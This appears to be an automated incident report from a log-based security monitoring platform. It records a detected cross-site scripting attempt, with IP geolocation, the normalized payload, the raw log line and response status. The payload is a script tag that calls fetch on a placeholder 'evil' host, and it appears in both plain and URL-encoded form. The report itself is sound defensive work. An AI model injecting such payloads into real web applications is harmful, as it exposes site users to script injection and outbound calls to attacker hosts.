LOG-BASED SOC PLATFORM
SECURITY INCIDENT REPORT

Incident Summary

Incident Time	02/Nov/2025:12:03:30 +0530
Severity	High
Threat Rule	XSS
Source IP	37.37.37.37
IOC Confirmed	NO

IP Intelligence & Enrichment

Private IP	NO
Country	KW
Region	Al Farwaniyah
City	Al Farw■n■yah
Organization	AS42961 Mobile Telecommunications Company K.S.C.P.
ASN	UNKNOWN
Source	CACHE

Normalized Payload

```
get /api?input=<script>fetch('http://evil')</script> http/1.1
```

Raw Log Evidence

```
37.37.37.37 - - [02/Nov/2025:12:03:30 +0530] "GET
/api?input=%3Cscript%3Efetch('http://evil')%3C%2Fscript%3E HTTP/1.1" 200 210 "-"
"Mozilla/5.0"
```

Response Actions

Firewall Action	No Firewall Action
Email Alert	Not Sent
PDF Report	Generated